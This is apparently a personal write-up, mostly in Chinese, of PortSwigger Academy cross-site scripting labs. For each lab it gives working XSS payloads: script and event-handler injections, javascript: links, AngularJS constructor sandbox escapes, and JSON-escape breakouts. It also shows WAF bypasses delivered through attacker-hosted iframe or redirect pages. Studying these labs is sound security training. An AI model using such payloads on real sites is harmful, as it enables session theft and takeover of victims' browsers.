-

Cross-site scripting

Lab: Reflected XSS into HTML context with nothing encoded

This lab contains a simple reflected cross-site scripting vulnerability in the search functionality.

To solve the lab, perform a cross-site scripting attack that calls the alert function.

Payload

1
<script>alert(1)</script>

Lab: Stored XSS into HTML context with nothing encoded

This lab contains a stored cross-site scripting vulnerability in the comment functionality.

To solve this lab, submit a comment that calls the alert function when the blog post is viewed.

Open a block entry or post, scroll down to the comment section and type in my payload,and click at the back to blog link. And you can see we called the alert function.

Payload

1
<script>alert(1)</script>

This lab contains a DOM-based cross-site scripting vulnerability in the search query tracking functionality. It uses the JavaScript document.write function, which writes data out to the page. The document.write function is called with data from location.search, which you can control using the website URL.

To solve this lab, perform a cross-site scripting attack that calls the alert function.

Let’s access the lab,and type in the search line “she11f”,then click the search button.now right click and choose Inspect

image-20250908200032425

In the search bar look for the string “she11f”

image-20250908200343690

You can see the string was placed inside a image source tag, now close the developer tools go back to the search bar and type in the following close string and tag and put in an svg

1
"> <svg onload=alert(1)>

OR

1
" onload=alert(1)>

This lab contains a DOM-based cross-site scripting vulnerability in the search blog functionality. It uses an innerHTML assignment, which changes the HTML contents of a div element, using data from location.search.

To solve this lab, perform a cross-site scripting attack that calls the alert function.

这题跟上一题略微不同,上一题用的是 document.write. 这题插入dom用的是 innerHTML。**innerHTMLdocument.writ**的执行时机略有不同

  • innerHTML:无论页面是否加载完成,都可以调用,且只会修改目标元素的内容,不会影响整个文档结构
    即使页面已经加载完毕(DOM 已生成),调用 innerHTML 只会替换指定元素的内容,其他部分不受影响。
  • document.write
    • 如果在页面加载过程中(文档流未关闭时)调用,内容会被正常插入到文档流中,成为页面的一部分。
    • 如果在页面加载完成后(文档流已关闭)调用,会清空当前页面的所有内容,重新创建一个新的文档流并写入内容(相当于覆盖整个页面)。
      例:页面加载完成后执行 document.write("hello"),原页面内容会被全部清除,只显示 “hello”。

所以这里当我们尝试 <script>alert(1)</script> 能看到确实写入DOM结构了,但是并没有执行,

image-20250908213217066

  • innerHTML:设计用于修改已有 DOM 元素的内容,浏览器会对插入的 <script> 进行安全限制,避免动态插入的脚本意外执行(防止 XSS 风险扩散)。
  • document.write:模拟页面初始加载时的 HTML 解析流程,完全遵循原始 HTML 的解析规则(包括执行 <script>),因此脚本会被正常执行。

所以正是因为这种机制导致直接插入 js 脚本无法直接执行,但是 innerHTML 的安全限制无法阻止其他标签的事件属性中脚本的执行。

payload

1
<img src=1 onerror=alert(1)>

Lab: DOM XSS in jQuery anchor href attribute sink using location.search source

​ This lab contains a DOM-based cross-site scripting vulnerability in the submit feedback page. It uses the jQuery library’s $ selector function to find an anchor element, and changes its href attribute using data from location.search.

​ To solve this lab, make the “back” link alert document.cookie.

题目描述告诉我们,漏洞点再 feedback 页面,翻译一下就是

这个实验包含一个基于 DOM 的跨站脚本漏洞,存在于提交反馈页面中。它使用 jQuery 库的$选择器函数查找一个锚点元素(即<a>标签),并利用来自location.search的数据修改该元素的href属性。

要解决这个实验,请让 “返回” 链接弹出document.cookie(即显示当前页面的 Cookie 信息)。

我们来到 feedback 页面,一开始是 feedback?returnPath=/post,我们随便输入一个 she11f 回车后控制台搜一下 she11f

1
<a id="backLink" href="she11f">Back</a>

也就是说 returnPath 这个参数直接被写入 href 里面了,所以我们就可以这样构造payload

1
2
javascript:alert(document.cookie)
// href 中使用 javascript: 作为协议前缀,这是一种特殊的 “伪协议”(非标准网络协议),其作用是:将 : 后面的内容当作 JavaScript 代码执行。

然后再点击 back 就能触发 js 事件

Lab: DOM XSS in jQuery selector sink using a hashchange event

​ This lab contains a DOM-based cross-site scripting vulnerability on the home page. It uses jQuery’s $() selector function to auto-scroll to a given post, whose title is passed via the location.hash property.

​ To solve the lab, deliver an exploit to the victim that calls the print() function in their browser.

这个实验在首页存在一个基于 DOM 的跨站脚本漏洞。它使用 jQuery 的 $() 选择器函数来自动滚动到指定的帖子,而该帖子的标题是通过 location.hash 属性传递的。

要解决这个实验,请向受害者发送一个攻击 payload,使其浏览器执行 print () 函数(即触发打印功能)。

说实话没看懂,后面油管看的教程。

题目描述说帖子标题是通过 location.hash 属性传递的,我们问问ai吧

location.hash 是 JavaScript 中用于获取或设置当前 URL 中 # 后面部分的属性,也被称为 “哈希值” 或 “锚点”。

f12看一下控制台源码,全局搜索一下 location.hash

1
2
3
4
$(window).on('hashchange', function(){
var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
if (post) post.get(0).scrollIntoView();
});

有 $ 说明是 jQuery,这段代码绑定了一个 hashchange 监听器,当URL 中 # 后面部分的属性变化时,就会匹配 section.blog-list 区域内的 <h2> 标签 ,我们找一下这些元素

image-20250909113304422

其实就是每篇文章的标题,我们可以试一下在 url 后面拼接 #Awkward Breakups 会车发现直接滚动到 Awkward Breakups 标题位置这里了,我们控制台分别打印一下 decodeURIComponent(window.location.hash.slice(1)) + ')'

1
"21st Century Dreaming)" 

这边因为 post 作用域是局部变量,所以控制台不好打印,我们直接打印 $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')')

1
Object { 0: h2, selector: "section.blog-list h2:contains(21st Century Dreaming)", length: 1, prevObject: {…}, context: HTMLDocument https://0a1d00120321917c80bd0301008f001b.web-security-academy.net/#21st%20Century%20Dreaming }

是一个对象,再打印一下 post.get[0],

1
<h2>

所以跳转到标题的原理就是如此。

我们搜索一下 location.hash XSS,可以找到这篇文章 https://bugs.jquery.com/ticket/9521/ ,里面有这样关键的一句话,

“$(location.hash)” expected CSS selector in many case, but this code also can create html element.

这句话的意思是 当 css 选择器找不到 $(location.hash) 中的哈希值(# 后的内容),jQuery 可能会将其解析为 HTML 标签并创建新的 DOM 元素。

也就是我们后面可以传递一个带有时间的 html 元素

1
#<img src=1>

可以看到网络请求里返回了404状态码,说明img标签被解析了,只是找不到这个资源

image-20250909122809234

1
#<img src=1 onerror=alert(1)>

成功弹窗,但是我们这个hash改变事件要主动改变#后面的值才行,用户肯定是不会自己改变的。我的意思是假如我们把这个 payload发给用户

1
url/#<img src=1 onerror=alert(1)>

用户打卡是并不会弹窗的,因为没有改这个 # 后面的值就不会触发 hashchange 事件,所以我们要主动修改 src,找到一个方法首先加载 普通的 url,然后加载完url之后,我们把payload插入 url中。

我们可以使用 iframe 标签

1
<iframe src="https://0a1d00120321917c80bd0301008f001b.web-security-academy.net/#" onload="this.src+='<img src=1 onerror=print()>'" >

如此,可以在src加载时修改hash的值,当然也可以加上hidden属性,这样用户看不到就更hacker了

1
<iframe src="https://0a1d00120321917c80bd0301008f001b.web-security-academy.net/#" onload="this.src+='<img src=1 onerror=print()>'" hidden="hidden">

我们把这个挂在服务器上,发给用户就行了

image-20250909124547800

Lab: Reflected XSS into attribute with angle brackets HTML-encoded

This lab contains a reflected cross-site scripting vulnerability in the search blog functionality where angle brackets are HTML-encoded. To solve this lab, perform a cross-site scripting attack that injects an attribute and calls the alert function.

这个实验在博客搜索功能中存在一个反射型跨站脚本漏洞,其中尖括号会被 HTML 编码。要解决这个实验,请实施一次跨站脚本攻击,注入一个属性并调用 alert 函数。

我们继续输入 she11f 然后全局搜索一下,发现写进了 input 标签的 value 属性里面

image-20250909223543226

因为尖括号会被 HTML 编码,所以我们可以闭合 value 属性,然后绑定一个事件触发它来实现 alert 函数的调用,可以查询 xss 速查表

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet,找到

1
<xss onfocus=alert(1) autofocus tabindex=1>

payload

1
2
"onfocus=alert(1) autofocus "
"onmouseover="alert(1)

Lab: Stored XSS into anchor href attribute with double quotes HTML-encoded

This lab contains a stored cross-site scripting vulnerability in the comment functionality. To solve this lab, submit a comment that calls the alert function when the comment author name is clicked.

这个实验在评论功能中存在一个存储型跨站脚本漏洞。要解决这个实验,请提交一条评论,使得当点击评论的作者名称时,会调用 alert 函数。

看题目描述和题目名,应该是要给 href 属性调用 js 伪协议触发 alert 事件了。

根据题目描述我们在帖子评论区填入 she11f 看一看,记得是 website 那里填入才是 a 标签

1
<a id="author" href="she11f">she11f</a>

Payload

1
javascript:alert(1)

Lab: Reflected XSS into a JavaScript string with angle brackets HTML encoded

This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality where angle brackets are encoded. The reflection occurs inside a JavaScript string. To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the alert function.

此实验包含一个反射型跨站脚本漏洞,该漏洞存在于搜索查询跟踪功能中,其中尖括号被编码。反射发生在 JavaScript 字符串内部。要解决此实验,请执行一次跨站脚本攻击,突破 JavaScript 字符串的限制并调用 alert 函数。

依旧输入一个 she11f ,全局搜索

1
2
var searchTerms = 'she11f';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');

在一段 javasript 内部发现了我们的字符串,很明显了,我们得闭合单引号写入 js 代码。

1
2
3
she11f'; alert(1); /*
she11f'; alert(1); //
she11f'; alert(1);'

还有就是 js 是动态语言,我们可以利用字符串拼接来实现

1
2
'+alert(2)+'
var searchTerms = ''+alert(2)+'';

也可以,-和+是一个道理

1
2
'-alert(1)-'
var searchTerms = ''-alert(1)-'';

Lab: DOM XSS in document.write sink using source location.search inside a select element

​ This lab contains a DOM-based cross-site scripting vulnerability in the stock checker functionality. It uses the JavaScript document.write function, which writes data out to the page. The document.write function is called with data from location.search which you can control using the website URL. The data is enclosed within a select element.

​ To solve this lab, perform a cross-site scripting attack that breaks out of the select element and calls the alert function.

此实验室包含库存查询功能中的一个基于 DOM 的跨站点脚本漏洞。该漏洞利用 JavaScript 的 document.write 函数将数据写入页面。document.write 函数会使用 location.search 中的数据进行调用,您可以使用网站 URL 进行控制。这些数据包含在 select 元素中。 为了解决这个实验,执行跨站点脚本攻击,突破选择元素并调用警报函数。

打开是一个仓库库存查询系统,点进第一个注意到有一个 select 选择器,选择地区就能查询库存,我们注意到该位置有这么一段 javascript 代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14

var stores = ["London","Paris","Milan"];
var store = (new URLSearchParams(window.location.search)).get('storeId');
document.write('<select name="storeId">');
if(store) {
document.write('<option selected>'+store+'</option>');
}
for(var i=0;i<stores.length;i++) {
if(stores[i] === store) {
continue;
}
document.write('<option>'+stores[i]+'</option>');
}
document.write('</select>');

根据location.search的storeId字段来创建option,location.search 是 JavaScript 中用于获取当前 URL 中查询字符串(即 ? 后面的部分)的属性,返回值包含 ?及其后面的参数,所以我们打印一下 url+?productId=1&storeId=she11f,因为和storeId有关,所以我们就在后面随便加一个storeId=she11f。

1
2
window.location.search
> "?productId=1&storeId=she11f"

image-20250912122936431

确实用 document.write 写了一个 option 标签进去,那就很好了。

payload:

1
2
productId=1&storeId=</select><img src=1 onerror=alert(1)>
productId=1&storeId=<script>alert(456)</script>

Lab: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

​ This lab contains a DOM-based cross-site scripting vulnerability in a AngularJS expression within the search functionality.

​ AngularJS is a popular JavaScript library, which scans the contents of HTML nodes containing the ng-app attribute (also known as an AngularJS directive). When a directive is added to the HTML code, you can execute JavaScript expressions within double curly braces. This technique is useful when angle brackets are being encoded.

​ To solve this lab, perform a cross-site scripting attack that executes an AngularJS expression and calls the alert function.

该实验包含搜索功能中 AngularJS 表达式中基于 DOM 的跨站点脚本漏洞。 AngularJS 是一个流行的 JavaScript 库,它会扫描包含 ng-app 属性(也称为 AngularJS 指令)的 HTML 节点的内容。将指令添加到 HTML 代码中后,您可以执行双花括号内的 JavaScript 表达式。这种技术在对尖括号进行编码时非常有用。 为了解决这个实验问题,执行跨站点脚本攻击,执行 AngularJS 表达式并调用警报函数。

拿到题还是很懵逼啊,只搜到了可以用类似 vue 一样的插值语法 2,也确实解析了,但是试了一下直接插入 alert 还是不行,后面才知道 Angularjs 对这类危险操作做了处理不会解析,直接看了一下 payload 给的是 {{$on.constructor('alert(1)')()}},但是这个 payload 怎么来的就不得而知了,所以我们还是从这个 Angularjs 开始研究吧

题目的Angularjs是1.7.7版本,我们让豆包写个例子吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<!DOCTYPE html>
<html>
<head>
<title>AngularJS 1.7.7 远程导入示例</title>
<!--
远程导入AngularJS 1.7.7版本库
来源:cdnjs CDN(内容分发网络)
作用:加载AngularJS框架核心功能,无需本地存储
-->
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.7.7/angular.min.js"></script>
</head>
<!--
ng-app="myApp":声明当前页面为AngularJS应用,指定应用模块名为"myApp"
ng-controller="myCtrl":为当前区域绑定控制器"myCtrl",实现视图与数据的关联
-->
<body ng-app="myApp" ng-controller="myCtrl">
<h1>{{name}}</h1>
<!--
AngularJS表达式:双花括号{{}}内的内容会被框架解析执行,此处计算1+1的结果,页面会显示"2"
-->
{{1+1}}
<script>
// 定义AngularJS应用模块
// 参数1:模块名称"myApp",需与ng-app属性值一致
// 参数2:空数组[]表示该模块不依赖其他模块
var app = angular.module('myApp', []);
// 定义控制器"myCtrl",与ng-controller属性值对应
// $scope:注入作用域对象,作为视图与控制器之间的数据桥梁
app.controller('myCtrl', function($scope) {
// 在作用域中定义name变量,值为"she11f"
// 该变量可在视图中通过{{name}}访问
$scope.name = "she11f";
});
</script>
</body>
</html>

image-20250913193112014

在 AngularJS(1.x)中,$scope 是一个核心概念,它是视图(View)和控制器(Controller)之间的桥梁,用于在两者之间传递数据和方法。简单来说,$scope 就像一个 “数据容器”,控制器可以往里面存放数据或函数,视图则可以通过特定语法访问这些内容。所以我们在作用域中定义name变量可在视图中通过访问。

我们再插入一下 payload

1
{{$on.constructor('alert(1)')()}}

也是直接弹窗了,这个 $on,是 AngularJS 特有的,其实很多框架都有这种带 $ 符号作为前缀的方法名,说明这是某个框架自带的的方法,在 AngularJS 中,$on$scope 对象上的一个方法,用于监听当前作用域上的事件(通常是自定义事件)

那我想在控制台看 $on.constructor 该怎么办,有一种办法可以访问,即使用 angular.element() 方法

这是 AngularJS 提供的一个核心方法,用于将原生 DOM 元素(或 HTML 字符串)包装成 AngularJS 特有的元素对象(类似 jQuery 对象的 “增强版” DOM 元素)。

被**angular.element()**包装好的DOM元素就能自带 scope() 方法了 ,就可以获取以获取该元素所在的作用域对象。$scope 是作用域对象的引用变量,所以是一个玩意。

我们来控制台走一遍上面的操作绑定一个<h1 id="h1">{{name}}</h1>并调用一下scope方法看一下

image-20250913195315569

翻一会这个 scope,最后在<prototype>下的<prototype> 找到了$on function,但是继续翻没有翻到 constructor 啊,根据js原型链调用的特性,我们继续翻 $on 里面的 <prototype> ,接着又翻到了 $on 下的 <prototype> 里的 constructor

去 MDN 翻一下这个 constructor 是什么

image-20250913201217168

constructor 是对象实例上的一个属性,它存储的是一个 “引用”(即指针),指向当初创建这个对象的构造函数本身,而不是函数的名字字符串。

在 JavaScript 中,所有函数本身都是 Function 构造函数的实例。因此,一个普通函数的默认 constructor(构造函数)是 Function

那这个 Function 又是什么呢

Function 是 JavaScript 中用于创建函数对象的原生构造函数,是所有函数的 “元类型”。它提供了动态创建函数的能力

使用方法就是

参数个数 解析方式 等价的函数定义
0 个 无参数,空函数体 function () {}
1 个 参数为函数体,无参数 function () { 函数体 }
n 个(n ≥ 2) 前 n-1 个为形参,最后 1 个为函数体 function(形参1, 形参2, ...) { 函数体 }

比如

1
Function("console.log('hello world')")()

成功打印,再试试 constructor

1
2
let test = function test(){}
test.constructor("console.log('hello world')")()

也能成功打印,那我们再看看 $on.constructor

image-20250913202941668

正是原生构造函数 Function,所以 paylaod

1
{{$on.constructor('alert(1)')()}}

可能有人问为什么不直接用,{{Function("alert('hello world')")()}},用了之后就会发现不起作用,其实就像开头一样为什么不直接 alert 弹,还是因为 Angularjs 的安全特性,所以我们才要利用 Angularjs 允许范围内访问的方法或者属性来构造攻击手法。知道原理了我们就能多试试其他方法了

1
2
{{$eval.constructor('alert(1)')()}}
{{$emit.constructor('alert(1)')()}}

ps:我对控制台这两个有点疑问,不知道究竟看哪个

1
2
prototype: Object {}
<prototype>: function ()

问了豆包说是

  • prototype: Object { … }:是构造函数的「原型对象」,用于定义实例的继承内容,本质是对象,定义该构造函数创建的「实例对象」会继承的属性和方法。
  • <prototype>: function ():是当前对象的「内部原型」,指向原型链上层的一个函数对象(通常是 Function.prototype 或其他构造函数的原型),用于实现继承,构成原型链,对象通过它继承上层对象的属性和方法。

所以说是 function () 标记的 <prototype> 是一个对象可以沿着原型链调用的函数和属性,Object { … }标记的prototype,举例来说就是当 $on 被当作构造函数使用时,可以被继承的对象,不过 $on 通常不会被当作构造函数使用(不会用 new $on() 去创建实例)。

所以我们这里调用函数的话只看 <prototype>: function () 就行了

Lab: Reflected DOM XSS

​ This lab demonstrates a reflected DOM vulnerability. Reflected DOM vulnerabilities occur when the server-side application processes data from a request and echoes the data in the response. A script on the page then processes the reflected data in an unsafe way, ultimately writing it to a dangerous sink.

​ To solve this lab, create an injection that calls the alert() function.

这个实验展示了一个反射型 DOM 漏洞。当服务器端应用处理请求中的数据并将该数据回显到响应中时,就可能出现反射型 DOM 漏洞。随后,页面上的脚本会以不安全的方式处理这些被反射的数据,最终将其写入危险的 “接收器”(指可能执行恶意代码的 DOM 操作接口)。

要解决这个实验,请构造一个能调用 alert () 函数的注入内容。

翻一下js,发现查询功能处很有意思

1
eval('var searchResultsObj = ' + this.responseText);

image-20250915130521941

比如我们搜一个 she11f , **this.responseText **返回如下

{“results”:[],”searchTerm”:”she11f”}

可以本地搭建一个环境模拟一下,创建 index.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Document</title>
</head>
<body>
<script>
// 创建XHR对象
const xhr = new XMLHttpRequest();

// 配置请求:方法为GET,URL为localhost:8000/data.json
xhr.open("GET", "http://localhost:8000/data.json", true);

// 监听请求完成事件
xhr.onload = function () {
// 检查请求是否成功(状态码200-299表示成功)
if (this.readyState == 4 && this.status == 200) {
eval('var searchResultsObj = ' + this.responseText);
}
};

// 发送请求
xhr.send();
</script>
</body>
</html>

因为 eval 会把传入的字符串当 js 代码执行,所以同级目录创建 data.json

1
2
3
4
{
"results":[],
"searchTerm":"she11f"-alert(1)
}

这里语法爆红没关系,反正最后进入都是字符串。我们 php 在本地 8000 端口开启一个服务

1
php -S localhost:8000  

然后浏览器访问,发现成功弹窗了。本地是攻击成功了,那怎么打这个实验呢,启动 BP,看一下这个search

可以看到因为我们这不是本地模拟,前端传递 she11f-alert(1) (之所以用➖号是因为➕号要url编码,不然浏览器会以为是空格,而减号其实和连字符是长一样的,浏览器以为是连字符就不会url编码),后端给这个值传递到 json 里面的时候就自动加上双引号了,所以我们还是要 bypass 一下。

image-20250915131320942

1
2
3
she11f"-alert(1)
返回
{"results":[],"searchTerm":"she11f\"-alert(1)"}

双引号被转义了,那我们再加一个转义符号

1
she11f\"-alert(1)

image-20250915132117367

成功了,json 以为 前面的转义符用来转义后面的反斜杠,双引号成功逃逸并闭合前面。当然还没有结束,这个 json 语法结构已经被我们颇坏了,它都不能自动对齐格式了,我们再后面补上一个大括号闭合 json,然后注释符号注释后面的 "}

1
she11f\"-alert(1)}//

image-20250915132356846

payload 拿去搜索,成功弹窗,我们可以打个断点看看

先步入 eval 看看究竟传了个什么东西

image-20250915133535922

1
var searchResultsObj = {"results":[],"searchTerm":"she11f\\"-alert(1)}//"}

那要怎么修复呢,其实很简单,就不要用 eval,用 json.parse 解析

JSON 与 JavaScript 值的差异:JavaScript 除了支持上述所有类型外,还允许其他值,例如:

  • 函数(function)
  • 日期(Date)
  • 未定义(undefined)
    但这些在 JSON 中都是不被允许的。

json 不接收函数,所以控制台直接就报错了。

Lab: Stored DOM XSS

This lab demonstrates a stored DOM vulnerability in the blog comment functionality. To solve this lab, exploit this vulnerability to call the alert() function.

这个实验是基于 存储的DOM型 XSS,根据 js 文件可以得出数据流向

评论 => 存储到数据库 => 加载评论 => 从数据库取出数据经过 JS 代码 innerHTML 插入评论到前端页面。

我们简单设置作者为

1
<script>alert()</script>

回到评论区发现结束的标签消失了,说明这是成功解析了,打个断点看一下发生了什么,发现

1
escapeHTML(comment.author) 返回 "&lt;script&gt;alert()</script>"

说明只是替换了第一组尖括号

1
replace(pattern, replacement)

image-20250915234238828

修复也很简单,正则语法全局匹配,或者换成 replaceAll

1
2
3
function escapeHTML(html) {
return html.replace(/</g, '&lt;').replace(/>/g, '&gt;'); // 全局替换所有 < 和 >
}

但是这种方法还是治标不治本,我们不应该让前端渲染最后这一个环节来作为安全防御。我们注意到当数据流向数据库是是完完整整存储了这些 HTML 标签语法的,我们应该在后端层面过滤删除这些特殊符号再存在数据库里面

image-20250915234715438

所以最后的 payload

1
<><img src=1 onerror=alert(1)>

Lab: Reflected XSS into HTML context with most tags and attributes blocked

​ This lab contains a reflected XSS vulnerability in the search functionality but uses a web application firewall (WAF) to protect against common XSS vectors.

​ To solve the lab, perform a cross-site scripting attack that bypasses the WAF and calls the print() function.

该实验室在搜索功能中包含一个反射型 XSS 漏洞,但使用 Web 应用程序防火墙 (WAF) 来防御常见的 XSS 向量。 为了解决实验问题,执行绕过 WAF 并调用 print() 函数的跨站点脚本攻击。

这道题在反射 XSS 地基础上加了 waf,我们爆破一下 tag,发现有 body 可以用。属性也是加了 waf,也爆破一下。到这里我就卡住了,因为我找的属性都是不能直接发给用户弹窗,都得用户操作一下但这样的话系统是不认得,比如说

1
<body onbeforeinput=alert(1)>

这个得在用户输入的时候才能触发,显然达不到点击即上线的要求。我就想找个类似 onerror,onload 这样的属性,但是始终没找到,看 WP 才发现是方向错了。

我们可以利用自己的服务器,利用 iframe 标签,将漏洞页面渲染到我们的服务器上,在 iframe 在我们的服务器上加载的同时,修改我们服务器上 iframe 的尺寸,从而使得漏洞页面尺寸被修改触发 resize 属性

1
2
<iframe src="https://0ada003a0307c7ca807c3a7f00f30010.web-security-academy.net/?search=<body onresize=print() >" onload=this.style.width='700px'>
</iframe>

在我们的服务器上可以看到,因为 iframe 嵌套了靶场的 body (iframe 是 靶场的父节点), 所以修改 iframe 大小,也会修改漏洞页面的大小。

image-20250917233530790

Lab: Reflected XSS into HTML context with all tags blocked except custom ones

​ This lab blocks all HTML tags except custom ones.

​ To solve the lab, perform a cross-site scripting attack that injects a custom tag and automatically alerts document.cookie.

这道题把所有标签都 ban 了,但是属性都给了,我们可以用自定义标签,比如我们试一下

1
<xss onclick=alert()>

成功触发,但是题目要求我们 automatically alerts ,我一看简单啊,直接按照上一题的做法不就行啦,只要把 body 改成xss,嘿嘿

image-20250919223835879

密码的拒绝连接,问问 AI 怎么回事

image-20250919224305282

好吧,只能想别的方法了。看了眼答案,用的是 onfocus 这个事件

1
<xss id=1 onfocus=alert() tabindex=1>

id 是 HTML 标签的全局属性,作用是给当前元素分配一个唯一的名称,相当于元素的 “身份证号”—— 在同一个 HTML 页面中,id 的值不能重复,浏览器通过 id 可以快速定位到指定元素。

tabindex 全局属性 指示其元素是否可以聚焦,以及它是否/在何处参与顺序键盘导航(通常使用Tab键,因此得名)。它有什么作用呢?

默认情况下,只有表单元素(如 <input>)、链接(<a>)等少数元素能通过鼠标点击或键盘 Tab 键获得 “焦点”(聚焦后元素会有特殊状态,比如输入框的光标、链接的边框);而 <div>、自定义标签(如 <xss>)等默认无法被聚焦。聚焦的顺序:当按 Tab 键切换焦点时,浏览器会按照 tabindex 的数值大小顺序(从小到大)跳转,数值越小,优先级越高(tabindex="1" 会比 tabindex="2" 先被聚焦)。如果 tabindex 设为 负数(如 tabindex="-1"):元素可聚焦,但不会出现在 Tab 键的切换顺序中(只能通过代码或锚点触发聚焦);如果 tabindex 设为 0:元素可聚焦,且按 Tab 键时会跟随页面默认顺序(排在所有正数值之后);

比如做个实验

1
2
3
<input id="1"  tabindex="3">区块1</input>
<input id="2" tabindex="1">区块2</input>
<input id="3" tabindex="2">区块3(id与区块2相同)</input>

不断按下 tab 键我们可以发现焦点聚焦的顺序是 2=>3=>1

再看一眼我们的 payload <xss id=1 onfocus=alert() tabindex=1>,因为我们的自定义的标签 xss 肯定是没有焦点状态的,所以加上了 tabindex=1,所以我们的 xss 标签已经有焦点状态了,那该如何触发聚焦呢?

答案就是用到我们之前学过的锚点了,URL 中的 # 后面的部分称为 “锚点(Anchor)”,之前我们用 location.hash 可以获得这个值,这个锚点还有一个属性

在页面加载完成后,自动将页面滚动到 “id 与锚点值匹配” 的元素位置,并让该元素获得焦点(前提是元素支持聚焦)。

所以我们打完 payload 之后,还要手动在 url 后面加上锚点

1
?search=<xss id=1 onfocus=alert() tabindex=1>#1

Ok,那现在怎么用我们自己的服务器来攻击呢?因为加了保护策略,所以我们可以在服务器上构建一个 js 跳转来实现

1
2
3
<script>
location = "https://0a7f009604a1421080e51cb40080000e.web-security-academy.net/?search=<xss id=1 onfocus=alert() tabindex=1>#1"
</script>

Lab: Reflected XSS with some SVG markup allowed

This lab has a simple reflected XSS vulnerability. The site is blocking common tags but misses some SVG tags and events.

To solve the lab, perform a cross-site scripting attack that calls the alert() function.

本实验存在一个简单的反射型跨站脚本(XSS)漏洞。该网站会拦截常见标签,但遗漏了部分 SVG 标签及事件。

爆破得到了可用的标签,animatetransformsvg 我直接去速查表找的 payload

1
<svg><animatetransform onbegin=alert(1) attributeName=transform>

精简一下

1
<svg><animatetransform onbegin=alert(1)>

image-20250921002400422

其实 onbegin 事件也能爆破出来,就是动画加载的时候触发

​ This lab reflects user input in a canonical link tag and escapes angle brackets.

​ To solve the lab, perform a cross-site scripting attack on the home page that injects an attribute that calls the alert function.

​ To assist with your exploit, you can assume that the simulated user will press the following key combinations:

  • ALT+SHIFT+X
  • CTRL+ALT+X
  • Alt+X

​ Please note that the intended solution to this lab is only possible in Chrome.

这个靶场讲的就是怎么触发不可见的HTML标签,因为由于元素不可见,典型的 JavaScript 事件(如 onmouseover 和 onfocus)无法触发,参考这篇文章,https://portswigger.net/research/xss-in-hidden-input-fields。

比如说

1
<input type="hidden" accesskey="X" onclick="alert(1)">

HTMLElement.accessKey 属性用于设置用户可以通过按键快速跳转到指定元素的快捷键。

在 Firefox Windows/Linux 上,组合键是 ALT+SHIFT+X,在 MAC 上是 CTRL+ALT(其实就是option)+X,按下这个就能触发 onclick 事件

或者说

1
<link rel="canonical" accesskey="X" onclick="alert(1)" />

<link rel="canonical"> 是 HTML 中一个用于指定网页规范 URL(标准链接)的标签,主要用于告诉搜索引擎 “当前页面的首选版本”,解决因内容相同或高度相似而导致的 “重复内容” 问题。合理使用canonical标签有助于优化网站的 SEO 表现,避免重复内容对搜索排名的负面影响。

同样这种 link 标签在 head 标签里面也是元素不可见的,这道题在主页 url 后加入参数会注入到 link 标签的 href 属性里面

1
<link rel="canonical" href="https://0af0007b03cae94580cd035a009600c0.web-security-academy.net/?aaa">

我们利用单引号闭合(双引号貌似被转义了),然后系统会模拟按键触发

Payload

1
she11f'accesskey='x'onclick='alert(123)

Lab: Reflected XSS into a JavaScript string with single quote and backslash escaped

​ This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality. The reflection occurs inside a JavaScript string with single quotes and backslashes escaped.

​ To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the alert function.

这题就是用户输入被嵌入到 JavaScript 变量中

1
var searchTerms = 'she11f';

没有对输入的尖括号转义,我们知道浏览器加载网页时,并非直接执行代码,而是遵循 “先 HTML 解析 → 后 JavaScript 解析” 的固定流程,浏览器先扫描整个 HTML 文档,目的是 “拆解页面结构”—— 比如识别出<div><input>等标签,以及 <script> 标签包裹的 “JavaScript 代码块”。此时浏览器不关心<script>内部的 JS 语法是否正确,只需要明确:“从<script>开始到</script>结束的部分,是需要后续执行的 JS 代码”。当 HTML 解析完成,浏览器才会逐个处理之前识别出的 “JS 代码块”—— 对每个<script>内的内容进行语法分析,若语法无致命错误则执行,有错误则终止该代码块的执行(但不影响其他代码块)。

所以我们直接闭合 Script 代码块。

paylaod

1
</script><img src=1 onerror=alert()>

Lab: Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped

​ This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality where angle brackets and double are HTML encoded and single quotes are escaped.

​ To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the alert function.

和上一题的区别是,这次把尖括号HTML编码了,单引号被转义了,但是没有转义反斜杠,所以我们可以转义反斜杠逃逸

1
\'-alert();//

image-20250923120646810

Lab: Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped

​ This lab contains a stored cross-site scripting vulnerability in the comment functionality.

​ To solve this lab, submit a comment that calls the alert function when the comment author name is clicked.

评论区网站位置输入正常网址,控制台看一下

1
onclick="var tracker={track(){}};tracker.track('http://1.com');"

正常情况我们都是想着闭合单引号逃逸,但是单引号会被转义,但是我们可以 HTML 编码单引号来进行绕过

我们之前提到过浏览器加载网页时,并非直接执行代码,而是遵循 “先 HTML 解析 → 后 JavaScript 解析” 的固定流程。

我们先来看一下 HTML编码防御标签注入的原理(发生在最开始的 HTML 解析阶段):

当网站对尖括号做了 HTML 编码后,攻击者注入的代码会变成

1
&lt;img src=1 onerror=alert()&gt;(&lt;是<的 HTML 实体,&gt;是>的 HTML 实体):
  • 浏览器遇到 &lt; 和 &gt;,会按照 HTML 实体规则,将其解码为 “普通文本字符”<>—— 注意!此时的<>已经失去了 “界定 HTML 标签” 的语法意义,只是单纯的文本符号。
